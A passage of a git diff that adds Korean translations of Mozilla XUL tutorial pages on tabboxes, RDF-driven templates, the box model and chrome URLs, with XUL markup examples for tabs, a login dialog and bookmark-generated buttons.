+    <tabpanel id="mailtab">
+      <checkbox label="Automatically check for mail"/>
+    </tabpanel>
+    <tabpanel id="newstab">
+      <button label="Clear News Buffer"/>
+    </tabpanel>
+  </tabpanels>
+</tabbox>
+
+ +

예제에는 두 개의 탭이 포함되어 있으며, 첫 번째 탭은 라벨이 'Mail'이고, 두 번째는 'News' 입니다. 사용자가 Mail 탭을 클릭하면 첫 번째 탭 페이지의 내용이 탭 아래에 표시됩니다. 이 경우, 'Automatically check for mail'이라는 라벨이 붙은 체크박스가 나타날 것입니다. 두 번째 탭을 클릭하면 'Clear News Buffer'라는 라벨을 가진 버튼을 포함하는 상자가 표시될 것입니다.

+ +

기본적으로 선택된 탭페이지를 지정하기 위해서는 tabboxselectedIndex 속성을 설정하면 됩니다. 이 속성은 deck과 마찬가지로 0에서 시작하며 tabs에 포함되어 있는 탭의 순서 번호를 입력할 수 있습니다. 해당 값에 0미만의 값을 입력하면 0을 입력한 것과 같이 첫번째 탭이 선택된 것으로 출력됩니다. 그리고, 탭의 갯수보다 큰 값을 입력하면 탭은 아무것도 선택되지 않은 것으로 출력되지만, 탭패널에는 첫번째 페이지가 출력될 것입니다.

+ +

탭의 위치

+ +

끝으로, 탭의 위치를 바꿔서 탭 페이지의 원하는 방향에 탭이 표시되도록 하는 방법을 알아 보겠습니다. 이러한 작업을 하기 위해 특별한 문법이 있는 것이 아니라 간단히 orientdir 속성 값을 설정하면 됩니다. 레이아웃에 관한한 탭 요소들은 일반 상자와 아주 유사하다는 점을 기억하세요. tabbox는 기본적으로 수직 정렬 방식인 일반 컨테이너 상자이고, tabs 요소는 기본적으로 수평 정렬 방식인 일반 컨테이너 상자이라는 점을 알고 있으면 됩니다.

+ +

예를 들어 탭을 왼쪽에 표시하려고 한다며, 탭들이 수직적으로 쌓이게 출력되도록 tabsorient 속성을 vertical로 변경한 후 tabboxorient 속성을 horizontal로 설정하면 됩니다. 이렇게 하면 탭 페이지의 상단이 아닌 왼쪽에 탭이 수직방향으로 쌓이게 출력됩니다. 탭 페이지는 겹쳐 있기 때문에 tabpanels 요소의 orient 속성을 바꾸는 것은 아무런 의미가 없습니다.

+ +

여러분은 코드상에서 tabpanels 요소 다음으로 tabs 요소 위치를 옮겨서 오른쪽이나 아래쪽에 탭이 배치되도록 할 수 있습니다. 또 다른 방법으로는 tabboxdir 속성을 reverse로 지정하셔도 됩니다. 그러나 탭의 위치를 옮기면 특정 테마에서 보기가 좋지 않을 수 있기 때문에 그냥 상단에 두는게 좋을 것입니다.

+ +
+

파일찾기 대화창에 탭 넣기

+ +

파일찾기 대화창에 두 번째 패널을 넣어 보겠습니다. 우리는 검색과 관련된 설정을 포함할 Options 탭(기본적으로 선택되어 있도록 하겠습니다)을 만들 것입니다. 이렇게 하는 것이 그다지 좋은 인터페이스는 아니지만, 탭을 설명하기 위해 사용할 목적으로 이렇게 만들 것입니다. 위쪽의 라벨과 검색 상자는 첫 번째 탭에 넣어야 합니다. 두 번째 탭에는 몇가지 설정 사항을 넣겠습니다. 진행막대와 버튼은 탭 외부의 메인 대화창 위에 두도록 하겠습니다.

+ +
<vbox flex="1">
+
+<tabbox selectedIndex="1">
+  <tabs>
+    <tab label="Search"/>
+    <tab label="Options"/>
+  </tabs>
+
+  <tabpanels>
+   <tabpanel id="searchpanel" orient="vertical">
+
+    <description>
+     Enter your search criteria below and select the Find button to begin
+     the search.
+    </description>
+
+    <spacer style="height: 10px"/>
+
+    <groupbox orient="horizontal">
+      <caption label="Search Criteria"/>
+
+      <menulist id="searchtype">
+        <menupopup>
+          <menuitem label="Name"/>
+          <menuitem label="Size"/>
+          <menuitem label="Date Modified"/>
+        </menupopup>
+      </menulist>
+      <spacer style="width: 10px;"/>
+      <menulist id="searchmode">
+        <menupopup>
+          <menuitem label="Is"/>
+          <menuitem label="Is Not"/>
+        </menupopup>
+      </menulist>
+
+      <spacer style="height: 10px"/>
+      <textbox id="find-text" flex="1" style="min-width: 15em;"/>
+
+    </groupbox>
+   </tabpanel>
+
+   <tabpanel id="optionspanel" orient="vertical">
+    <checkbox id="casecheck" label="Case Sensitive Search"/>
+    <checkbox id="wordscheck" label="Match Entire Filename"/>
+   </tabpanel>
+
+ </tabpanels>
+</tabbox>
+
+ +
Image:tabpanel2.png
+ +

탭 요소들이 창의 중심부에 추가되었습니다. Search와 Options의 두 탭을 볼 수 있는데, 각 탭을 클릭하면 그에 맞는 탭 페이지가 표시됩니다. 그림에서 보듯이, 두 번째 탭에는 두 개의 선택 사항이 있으며, 첫 번째 탭은 상단에 탭이 있는 것을 제외하면 이전의 파일찾기 창과 차이가 없습니다.

+ +

지금까지의 파일 찾기 예제 : Source View

+
+ +

다음에는 격자 형식의 컨텐츠를 작성하는 방법에 대해 배워보겠습니다.

+ +

+

« 이전다음 »

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/templates/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/templates/index.html new file mode 100644 index 0000000000..dd1af0a361 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/templates/index.html @@ -0,0 +1,126 @@ +--- +title: Templates +slug: Mozilla/Tech/XUL/XUL_Tutorial/Templates +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Templates +--- +

템플릿

+

이 절에서는 데이터로부터 요소를 생성시키는 방법에 대해 살펴보고 갑니다.

+

요소의 생성

+

XUL 에는 RDF 파일 혹은 내부 데이터 소스에 의한 RDF 로부터 공급되는 데이터로부터 요소를 생성하는 기능이 있습니다. Mozilla 에서는 북마크나 히스토리 혹은 메일 메세지등의 여러 가지의 데이터 소스가 제공되고 있습니다. 이것들에 대한 자세한 것은 다음 절에 취급합니다.

+

보편적으로, 트리 항목(treeitem)이나 메뉴 항목(menuitem)등의 요소가 데이터로부터 생성되게 됩니다. 그렇지만, 필요하면 다른 요소에 이용하는 일도 가능합니다. 그렇게 말한 요소가 보다 유용이 되는 것은 특수한 상황에 있어야하지만 트리나 메뉴에는 긴 코드를 필요로 하므로 우선은 그러한 요소에 대하고 나서 시작합니다.

+

RDF 데이터에 근거한 요소의 생성을 가능하게 하기 위해서는, 생성되는 요소 마다 복제되는 것 같은 단순한 템플릿을 줄 필요가 있습니다. 요컨데, 최초의 요소만을 주어 두어 나머지의 요소는 그것을 바탕으로 구축시키는 것입니다.

+

템플릿은 template 요소에 의해 작성됩니다. 그 중에 구축되는 각 요소에 대해 이용하고 싶은 요소를 둡니다. template 요소는 구축되는 요소를 포함하게 되는 요소내에 둘 필요가 있습니다. 예를 들면 트리의 경우, template 요소를 tree 요소내에 둡니다.

+

예를 보는 편이 빠를 것입니다. 간단한 예로서 탑 레벨의 각 북마크에 대응하는 버튼을 작성해 봅시다. Mozilla 에는 북마크 데이터 소스가 있으므로 데이터의 취득에는 그것을 이용합니다. 이 예에서는 버튼을 작성하는 대상으로 탑 레벨의 북마크(혹은 북마크 폴더)만을 취득합니다. 아래층의 북마크에 대해서는 트리나 메뉴등의 계층을 표시하는 요소가 필요하게 됩니다.

+

내부의 RDF 데이터 소스를 참조하는 것 같은 이 예나 다른 것은 chrome URL 로부터 읽혔을 경우에 대해서만 유효합니다. 안전상의 이유로부터 Mozilla 에서는 다른 소스로부터 남을 수 있는 데이터 소스에의 액세스는 할 수 없게 되어 있습니다.

+

이 예를 실제로 보기 위해서(때문에)는, chrome 패키지를 작성해 파일을 거기로부터 읽어들이게 할 필요가 있습니다. chrome URL 를 브라우저의 URL 필드에 입력합니다.

+

Example 9.2. 1: 소스

+
<vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1">
+  <template>
+    <button uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/>
+  </template>
+</vbox>
+
+

여기에서는, 각 탑 레벨의 북마크에 대응하는 버튼을 포함한 세로 줄의 박스가 작성됩니다만, 위에 보여지듯이, template 요소는 button 요소를 1개만 포함하고 있습니다. 이 버튼이 생성할 필요가 있는 모든 버튼의 바탕으로 됩니다. 화면으로부터 알듯이, 각 북마크에 대응하는 일련의 버튼이 작성되고 있습니다.

+

이 예의 윈도우를 연 채로 해서 브라우저로 북마크를 추가해 보세요. 일련의 버튼이 즉시 갱신되는 것을 알 수 있습니다.(다만, 윈도우에 한 번 포커스를 댈 필요가 있을지도 모릅니다).

+

템플릿 자체는 세로 줄의 박스내에 놓여져 있습니다. 박스에는 템플릿을 이용하기 위한 2개의 특별한 속성이 주어지고 있어 이용하는 데이터를 어디에서 얻는지를 지정하고 있습니다. 우선 datasources 속성입니다만, 이것은 RDF 데이터 소스를 요소 생성에 있어서의 데이터 공급원으로 하는 경우에 이용합니다. 이 경우 rdf:bookmarks 가 이용됩니다. 이것은 북마크 데이터 소스라고 짐작이 되겠지요. 이 데이터 소스는 Mozilla 가 제공하는 것입니다. 당신 자신에 의한 데이터 소스를 이용하고 싶은 경우는, 아래의 예에 나타나고 있듯이 datasources 속성에 RDF 파일의 URL 를 지정합니다.

+
<box datasources="chrome://zoo/content/animals.rdf"
+     ref="http://www.some-fictitious-zoo.com/all-animals">
+
+
+


+ 공백 캐릭터로 나눠지는 것으로 한 번에 복수의 데이터 소스를 속성으로 지정할 수도 있습니다. 이것은 복수의 소스로부터의 데이터를 표시시키고 싶은 경우에 이용할 수 있습니다.

+

다음에 ref 속성에는 데이터 소스내의 어디에서 데이터를 취득하는지를 지정합니다. 위의 북마크의 경우, 북마크 계층에 있어서의 루트를 지시하는 값 NC:BookmarksRoot 가 이용되고 있습니다. 여기로 지정 가능한 값은 이용하는 데이터 소스에 의존합니다. 당신 자신에 의한 데이터 소스를 이용하는 경우, 지정하는 값은 RDF 의 Bag, Seq, Alt 몇개의 요소에 있어서의 about 속성의 값에 대응하는 것이 됩니다.

+

이것들 2개의 속성을 위의 박스에 나누어주는 것으로 템플릿으로부터의 요소의 생성이 가능하게 됩니다. 다만, 템플릿내의 요소는 다른 방법으로 선언될 필요가 있습니다. 위의 예로 보여지듯이, button 요소에는 uri 속성이 주어지고 있고 label 속성의 값이 통상과 다른 것이 되어 있습니다.

+

템플릿내에 있어서의 속성값은 데이터 소스로부터 값을 취득해야 하는 것을 지시하기 때문에 'rdf:'로 시작됩니다. 전의 예에서는 label 속성이 이것에 해당합니다. 속성값의 나머지의 부분은 데이터 소스내의 name 프롭퍼티를 참조합니다. [역주:The remainder of the value refers to the name property is the datasource. 문법적으로 이상한 느낌이지만, 문중의 'property is ...'는 'property in ...'의 오타라고 생각된다. ] 그것은 데이터 소스로 이용되고 있는 이름 공간 URL 에 프롭퍼티명을 부가한 것으로 구성되어 있습니다. 여기를 이해할 수 없는 경우는 전 장의 마지막 부분을 읽어 봐 주세요. 거기에 RDF 내의 리소스가 어떤 형태로 참조될지가 진술되고 있습니다. 여기에서는 북마크명 밖에 이용하지 않았습니다만, 그 밖에도 여러 가지의 필드를 이용할 수 있습니다.

+

버튼의 label에는 북마크명을 설정하고 싶었기 때문에, 버튼의 label 속성은 이 특별한 URI 로 설정되어 있습니다. URI 를 button 요소의 임의의 속성이나 다른 요소의 속성으로 설정할 수도 있었습니다. 이러한 속성의 값은 데이터 소스 - 여기에서는 북마크 데이터 소스 - 로부터 공급되는 데이터로 옮겨집니다. 그 결과, 버튼의 label는 북마크명이 되는 것입니다.

+

아래의 예에서는 데이터 소스를 이용해 버튼에 있어서의 다른 속성을 어떻게 설정 할 수 있는지를 나타내고 있습니다. 물론, 데이터 소스에는 적절한 리소스가 주어지고 있는 것으로 합니다. 만약 속성에 대응하는 리소스가 눈에 띄지 않는 경우, 그 속성의 값은 캐릭터 라인이 됩니다.

+
<button class="rdf:http://www.example.com/rdf#class"
+        uri="rdf:*"
+        label="rdf:http://www.example.com/rdf#name"/>
+        crop="rdf:http://www.example.com/rdf#crop"/>
+
+
+


+ 보듯이 다른 데이터 소스로부터 공급되는 속성을 이용해 동적으로 요소의 리스트를 생성시킬 수가 있습니다.

+

내용 생성을 시작하는 장소의 요소는 uri 속성으로 지정합니다. 보다 이전의 내용의 생성은 한 번 잘른 것인데 비해 내부의 내용은 각각의 리소스에 대해 생성됩니다. 이 점에 대해서는 트리에 대한 템플릿의 작성에 대해 말할 때에 자세하게 살펴보기로 하겠습니다.

+

이러한 기능을 템플릿을 포함한 컨테이너 - 여기에서는 박스 - 에 부가하는 것으로써, 외부의 데이터로부터 여러 가지의 흥미를 끄는 내용 리스트를 생성시킬 수가 있습니다. 물론, 템플릿내에는 복수의 요소를 두어도 어느 요소에도 고유의 RDF 참조를 줄 수가 있습니다. 아래에 그 예를 나타냅니다.

+

Example 9.2. 2: 소스

+
<vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1">
+  <template>
+    <vbox uri="rdf:*">
+      <button label="rdf:http://home.netscape.com/NC-rdf#Name"/>
+      <label value="rdf:http://home.netscape.com/NC-rdf#URL"/>
+    </vbox>
+  </template>
+</vbox>
+
+


+ 이 예는 각 북마크에 대해 버튼과 label를 가지는 세로 줄의 박스를 생성합니다. 버튼은 북마크명, label는 URL 를 가지게 됩니다.

+

생성되는 새로운 요소는 XUL 내에 직접 기록된 요소와 기능적으로는 아무런 바뀔 것은 없습니다. 템플릿에 의해 생성되는 모든 요소에 대해 리소스를 특정하는 id 속성이 주어집니다. 이것을 이용해 리소스를 특정할 수 있습니다.

+

아래의 예와 같이 같은 속성에 복수의 리소스치를 공백 캐릭터로 단락지어 지정할 수도 있습니다. 리소스 구문의 상세입니다.

+

Example 9.2. 3: 소스

+
<vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot"
+     flex="1">
+  <template>
+    <label uri="rdf:*" value="rdf:http://home.netscape.com/NC-rdf#Name rdf:http://home.netscape.com/NC-rdf#URL"/>
+  </template>
+</vbox>
+
+

템플릿 구축 방법

+

요소가 데이터소스의 속성을 가질 때, 그 요소는 템플릿으로부터 구축되는 것을 의미합니다. 내용이 구축될지 어떨지는 template 태그는 아니고, datasources 속성으로 정해지는 것에 주의해 주세요. 이 속성이 존재할 때, 빌더로 불리는 오브젝트가 요소에 부가됩니다. 이 오브젝트가 템플릿으로부터의 내용 생성의 역할을 하게 됩니다. JavaScript 로부터는 builder 속성으로부터 빌더객체에 액세스 할 수가 있습니다. 통상, 내용 생성이 자동적으로 행해지지 않을 때에 빌더에 내용의 재생성을 실시하게 하고 싶은 경우를 제외하면, 이 필요성은 없을 것입니다.

+

빌더에는 2 종류가 있습니다. 1개는 대부분의 경우에 이용되는 내용 빌더로 불려지고 또 하나는 트리에 대해서만 이용되는 트리빌더입니다.

+

내용 빌더는 template 요소내의 내용을 꺼내 항목 마다 복제합니다. 예를 들면, 위의 예로 유저가 10 개의 북마크를 가지고 있는 경우, 10 개의 label 요소가 생성되어 vbox 요소의 아이 요소로서 추가되겠지요. 문서 트리의 주사에 DOM 함수를 사용하면, 이러한 요소를 찾아내 프롭퍼티를 조사할 수 있습니다. 이러한 요소는 표시되는 한편, template 요소 자체는 문서 트리내에는 존재하는 것의 표시는 되지 않습니다. 더욱, 각 label의 id 속성은 그 항목의 RDF 리소스로 설정됩니다.

+

내용 빌더는 항상 uri="rdf:*" 가 지정되었는데로부터 생성을 개시합니다. uri 속성이 요소 트리에 대해 하위의 요소에게 줄 수 있는 경우, 상위의 요소는 한 번 밖에 작성되지 않습니다. 아래의 예에서는 hbox 가 1개 작성되어 그 내용은 항목 마다 생성되는 label로 채워질 수 있게 됩니다.

+
<template>
+  <hbox>
+    <label uri="rdf:*" value="rdf:http://home.netscape.com/NC-rdf#Name"/>
+  </hbox>
+</template>
+
+

데이터소스 속성을 가지는 요소내에 존재하지만 템플릿의 외측에 있는 내용도 표시됩니다. 이와 같이, 템플릿에 대해 정적인 내용과 동적인 내용을 혼합할 수가 있습니다.

+

한편, 트리빌더는 항목 마다 DOM 요소를 생성할 것은 없습니다. 그 대신 필요가 생길 때에 RDF 데이터소스로부터 데이터를 직접 취득합니다. 트리는 몇천줄의 항목을 표시하는 것이 되고 있으므로 이 편이 효율적인 것입니다. 셀의 하나하나에 대해서 요소를 생성하는 것은 비용이 너무 비싸게 듭니다. 다만, 트리에서는 텍스트 밖에 표시할 수 없습니다. [역주:8.1 절 「트리」에서는 트리는 화상도 내용으로서 포함할 수 있다고 기록되고 있다. ] 더욱, 요소는 생성되지 않기 때문에 트리의 셀에 대한 스타일에 CSS 프롭퍼티를 이용하는 것은 통상의 방법에서는 할 수 없습니다.

+

트리빌더는 트리에 대해서만 이용됩니다. 다른 요소에서는 콘텐츠빌더만 이용됩니다만, 이것은 특히 문제가 되는 것이 아닙니다. 메뉴등의 다른 요소에는 그러한 다수의 항목을 표시하는 것은 상정되어 있지 않기 때문입니다. 내용빌더를 트리에 이용하는 일도 가능하여 treeitem 요소와 관련하는 요소가 항목 마다 작성됩니다.

+

+

전에 언급한 예에 있어서 화상에서는 3번째의 버튼에는 하이픈만이 표시되고 있는 것을 알 것입니다. 이것은 북마크의 리스트에 있어서의 separator 입니다. 지금까지의 이용과 같이 RDF 북마크 데이터 소스도 마치 통상의 북마크와 같게 separator를 공급합니다. separator의 리소스에 대해서는 사실은 버튼의 대신에 작은 틈새를 두고 싶었습니다만. 즉, 통상의 북마크와 separator에 대해 다른 종류의 내용을 작성시키고 싶은 것입니다.

+

이것을 실시하려면 rule 요소를 이용합니다. 작성시키고 싶은 요소의 종류 마다 룰을 정의합니다. 여기의 예에서는 북마크에 대한 룰과 separator에 대한 룰이 필요하게 됩니다. 어느 룰을 어느 RDF 리소스에 적용할까는 rule 요소에 나누어주는 속성에 의해 정해집니다.

+

어느 룰을 데이터에 적용할까를 주시하는 과정에 대해서는 각 rule 요소에 대해 합치할지 어떨지가 차례로 조사할 수 있습니다. 즉, 룰을 정의하는 차례가 중요하게 됩니다. 먼저 정의되고 있는 룰이 다음에 정의되고 있는 룰보다 우선됩니다.

+

다음의 예는 이전의 예에 2개의 룰을 더한 것입니다.

+

Example 9.2. 4: 소스

+
<window
+  id="example-window"
+  title="Bookmarks List"
+  xmlns:html="http://www.w3.org/1999/xhtml"
+  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+ <vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1">
+   <template>
+
+    <rule rdf:type="http://home.netscape.com/NC-rdf#BookmarkSeparator">
+     <spacer uri="rdf:*" height="16"/>
+    </rule>
+
+    <rule>
+      <button uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/>
+    </rule>
+
+  </template>
+ </vbox>
+
+</window>
+
+

2개의 룰을 이용하는 것으로써, 템플릿내의 내용은 선택적으로 생성되게 됩니다. 최초의 rule 요소에서는 rdf:type 속성으로 보여지도록, 북마크 separator가 선택됩니다. 후의 룰에서는 rule 요소에 어떤 속성도 나누어주어지지 않기 때문에, 모든 데이터가 일치합니다.

+

rule 태그에 놓여진 모든 속성이 일치 조건에 이용됩니다. 이 경우, 북마크 데이터 소스는 separator인가 어떤가를 구별할 수 있듯이 rdf:type 프롭퍼티를 공급하고 있습니다. 이 속성은, RDF 북마크 데이터 소스에 대해, separator에 대한 고유의 값으로 설정됩니다. 이것에 의해 separator가 아닌 것이라는 구별을 붙일 수 있게 됩니다. 동일한 기법은 RDF 의 Description 요소에게 줄 수 있고 있는 임의의 속성에 대해 적용할 수가 있습니다.

+

위의 예의 최초의 룰로 주어지고 있는 특별한 URL 값은 separator에게 이용되는 것입니다. 즉, separator에 대해서는 최초의 룰에 따라 16 픽셀의 틈새를 비우는 spacer 요소가 생성됩니다. separator가 아닌 모든 요소에 대해서는 최초의 룰에 일치하지 않고 후의 룰에 따르게 됩니다. 후의 룰에서는 속성이 일절 지정되어 있지 않기 때문에 모든 데이터에 일치하게 됩니다. 이것은 물론, 나머지의 데이터에 대해서 실시하고 싶었던 것입니다.

+

하나 더, RDF 네임스페이스( rdf:type )으로부터 속성을 꺼내고 싶었기 때문에 네임스페이스 선언을 window 태그에 부가할 필요가 있었던 것에 깨닫았을 것입니다. 이것을 해 두지 않으면 속성은 XUL 네임스페이스에 포함되는 것이라고 보여져 버립니다. 물론 거기에는 존재하지 않기 때문에, 룰은 합치하지 않게 됩니다. 자기 부담의 네임스페이스의 속성을 이용하는 경우도 룰에 일치시키기 위해서는 이름 공간 선언이 필요하게 됩니다.

+

2번째의 룰이 제거되었을 때에 무엇이 일어날까는 상상이 붙겠지요. 그 결과는 다만 separator 1개가 표시되는 것만으로 있어, 북마크는 합치하는 룰이 없기 때문에 표시되지 않습니다.

+

간단하게 말하면, rule 요소에 나누어주어진 모든 속성이 RDF 리소스의 대응하는 속성에 일치할 때 룰이 일치한다고 하는 것입니다. RDF 파일의 경우는 리소스는 Description 요소가 됩니다.

+

다만, 소수의 예외가 있습니다. 속성 id, rdf:property, rdf:instanceOf 에는 일치시킬 수가 없습니다. 어쨌든, 자기 부담의 속성을 자기 부담의 네임스페이스에서 준비하면 끝나는 것이므로, 문제가 되는 것은 없을 것입니다.

+

최초의 룰이 존재하지 않는 템플릿에 대해서는, 실제는 속성을 가지지 않는 다만 하나의 룰이 지정되고 있는 것이라고 되는 것에 주의해 주세요.

+

다음절에서는 트리에 대한 템플릿의 이용을 살펴보고 갑니다.

+

+

« 이전다음 »

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/the_box_model/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/the_box_model/index.html new file mode 100644 index 0000000000..c5c3d5fa1d --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/the_box_model/index.html @@ -0,0 +1,118 @@ +--- +title: The Box Model +slug: Mozilla/Tech/XUL/XUL_Tutorial/The_Box_Model +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/The_Box_Model +--- +

+

« 이전다음 »

+

+

이 단원에서는, XUL이 레이아웃을 어떻게 처리하는지에 대해 알아보겠습니다.

+

상자 소개

+

XUL에서 레이아웃의 주된 형식은 '상자모델'이라고 하는 것입니다. 이 모델은 창을 여러개의 상자로 분할 할 수 있도록 해 줍니다. 상자 내부의 요소는 가로 또는 세로 orient(방향)을 가지게 됩니다. 여러개의 상자와 공백, flex속성을 가진 요소들을 묶음으로써, 창의 레이아웃을 제어할 수 있습니다.

+

상자는 XUL의 요소들을 배치하기 위해 가장 중요한 부분이지만, 몇 가지 단순한 규칙만을 가집니다. 상자는 가로 또는 세로 두 방향 중 하나의 형태로 자식이 배치되도록 할 수 있습니다. 가로상자는 상자에 포함된 요소를 가로 방향으로 세로 상자는 세로 방향으로 정렬시킵니다. 여러분은 상자를 HTML 테이블의 행 또는 열로 생각하실 수 있습니다. CSS 스타일 속성과 더불어 자식 요소에 사용되는 여러 속성은 자식 요소의 위치와 크기를 정확하게 제어할 수 있게 해 줍니다.

+

상자 요소들

+

상자의 기본 구문은 다음과 같습니다.

+
<hbox>
+  <!-- horizontal elements -->
+</hbox>
+
+<vbox>
+  <!-- vertical elements -->
+</vbox>
+
+

hbox 요소는 가로 방향의 상자를 만드는 데 사용됩니다. hbox에 포함되는 요소들은 하나의 행 안에 수평적으로 배치됩니다. vbox 요소는 세로 방향의 상자를 만드는 데 사용됩니다. 상자에 추가되는 요소들은 아래쪽으로 배치됩니다.

+

또한 가로 방향을 기본으로 하는 기본적인 box 요소가 존재하는데, 이것은 hbox와 같은 역할을 한다는 의미입니다. 그렇다 하더라도, 상자의 방향을 제어하기 위해서 orient 속성을 사용할 수 있습니다. 이 속성을 이용하면 가로 상자를 만들기 위해서는 horizontal값을 세로 상자는 vertical값을 설정하면 됩니다.

+

따라서 다음의 두 줄은 동일한 것입니다.

+
<vbox></vbox>
+
+<box orient="vertical"></box>
+
+

다음의 예제는 3개의 버튼을 세로로 나타내는 방법을 보여주고 있습니다.

+

예제 1 : Source View

+
+ Image:boxes-ex1.png
+
<vbox>
+  <button id="yes" label="Yes"/>
+  <button id="no" label="No"/>
+  <button id="maybe" label="Maybe"/>
+</vbox>
+
+

여기에 있는 3개 버튼은 상자가 지시한 대로 세로 방향으로 배치되어 있습니다. 버튼을 가로 방향으로 배치되도록 하려면 vboxhbox로 변경하기만 하면 됩니다.

+

로그인 대화상자 예제

+

여러분은 다른 상자를 포함해서 상자내에 원하는데로 많은 요소를 추가할 수 있습니다. 가로 상자의 경우에, 추가되는 요소는 이전 요소의 오른쪽에 놓이게 됩니다. 상자에 포함된 요소들은 다음 줄로 넘어가지 않기 때문에, 요소를 추가하면 창의 너비가 그 만큰 넓어지게 됩니다. 마찬가지로, 세로상자에 추가된 요소는 이전 요소의 아래에 놓이게 됩니다. 아래는 간단한 로그인 대화상자 예제입니다.

+

예제 2 : Source View

+
+ Image:boxes-ex2.png
+
<vbox>
+  <hbox>
+    <label control="login" value="Login:"/>
+    <textbox id="login"/>
+  </hbox>
+  <hbox>
+    <label control="pass" value="Password:"/>
+    <textbox id="pass"/>
+  </hbox>
+  <button id="ok" label="OK"/>
+  <button id="cancel" label="Cancel"/>
+</vbox>
+
+

위 예제에서는, 2개의 hbox 태그와 2개의 button 요소, 총 4개 요소가 세로 방향으로 배치되어 있습니다. 주의할 것은 상자의 바로 아래 자식 요소만 세로 방향으로 처리된다는 점입니다. 라벨과 글상자는 안쪽 hbox 요소 내부에 있기 때문에, 이들 상자의 방향인 가로 방향에 따라 배치되어 있습니다. 각 라벨과 글상자가 가로 방향으로 배치되어 있는 것을 그림에서 확인하실 수 있습니다.

+
글상자 정렬
+

로그인 대화상자의 그림을 자세히 보면, 2개의 글상자가 정렬되어 있지 않은 것을 볼 수 있습니다. 아마도 정렬되어 있다면 더 보기 좋을 것입니다. 이 작업을 위해서는 몇 가지 상자를 추가해 주어야 합니다.

+

예제 3 : Source View

+
+ Image:boxes-ex3.png
+
<vbox>
+  <hbox>
+    <vbox>
+      <label control="login" value="Login:"/>
+      <label control="pass" value="Password:"/>
+    </vbox>
+    <vbox>
+      <textbox id="login"/>
+      <textbox id="pass"/>
+    </vbox>
+  </hbox>
+  <button id="ok" label="OK"/>
+  <button id="cancel" label="Cancel"/>
+</vbox>
+
+

이제 글상자가 어떻게 정렬되었는지 주의깊게 보시기 바랍니다. 이렇게 하기 위해 우리는 주 상자 내에 또 다른 상자를 추가해야 했습니다. 원래는 2개의 라벨과 글상자가 가로 상자 내부에 위치하고 있었습니다. 그런데 이번에는 라벨을 모두 하나의 수직 상자에, 글상자도 모두 하나의 수직 상자에 포함되어 있습니다. 여기서 사용한 수직 상자가 각 요소들을 수직으로 정렬시킵니다. 수평 상자는 라벨을 포함하는 수직 상자와 글상자를 포함하는 수직 상자를 수평적으로 배치하기 위해 사용되었습니다. 만일 이 수평 상자를 없애면 글상자는 모두 라벨의 아래에 위치하게 될 것입니다.

+

이제 남은 문제는 'Password' 라벨이 오른쪽에 있는 글상자에 비해 너무 높이 위치해 있다는 점입니다. 이 문제를 해결하려면 grid 라는 요소를 사용할 수 밖에 없는데, 이에 대해서는 이후 단원에서 배우게 될 것입니다.

+
+

우리의 파일 찾기 대화창 예제

+

파일 찾기 대화창에 몇 가지 상자를 추가해 보겠습니다. 모든 요소를 포함하도록 제일 바깥쪽에 세로 상자를 추가하고, 글상자와 버튼 주변에 가로상자를 추가하겠습니다. 이렇게 하면 버튼이 글상자 아래에 나타나게 될것입니다.

+
<vbox flex="1">
+
+  <description>
+    Enter your search criteria below and select the Find button to begin
+    the search.
+  </description>
+
+  <hbox>
+    <label value="Search for:" control="find-text"/>
+    <textbox id="find-text"/>
+  </hbox>
+
+  <hbox>
+    <spacer flex="1"/>
+
+    <button id="find-button" label="Find"/>
+    <button id="cancel-button" label="Cancel"/>
+  </hbox>
+</vbox>
+
+
+ Image:boxes1.png
+


+ 세로상자는 메인 텍스트와 글상자를 포함한 상자와 버튼을 포함한 상자를 세로 방향으로 배치되게 해 줍니다. 안쪽의 수평 상자들은 그들이 포함한 요소들을 수평적으로 배치되게 해 줍니다. 그림에서 보듯이, 라벨과 글상자는 나란히 놓여 있습니다. 공백요소와 2개의 버튼 또한 상자에서 가로로 배치되어 있습니다. spacer 요소가 flex 속성을 지정하고 있기 때문에, 버튼들이 오른쪽에 붙어있다는 점에 주목하세요.

+

여태까지의 예제: Source View

+
+

다음 섹션에서는, 요소들의 크기를 지정하고 크기에 제한을 주는 방법에 대해 알아 보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/the_chrome_url/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/the_chrome_url/index.html new file mode 100644 index 0000000000..51136bcd49 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/the_chrome_url/index.html @@ -0,0 +1,45 @@ +--- +title: The Chrome URL +slug: Mozilla/Tech/XUL/XUL_Tutorial/The_Chrome_URL +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/The_Chrome_URL +--- +

+

« 이전다음 »

+

+

이번 섹션에서는 XUL 문서와 다른 chrome 파일을 참조하는 방법을 설명합니다.

+

Chrome URL

+

XUL 파일은 HTML 파일처럼 일반적인 HTTP URL(또는 어떤 형태의 URL이든)로 참조될 수 있습니다. 그러나 Mozilla의 chrome 시스템에 설치된 꾸러미는 특별한 chrome URL로 참조될 수 있습니다. Mozilla에 포함된 꾸러미들은 미리 설치되어 있는 것들이지만 여러분은 여러분의 것을 등록할 수 있습니다.

+

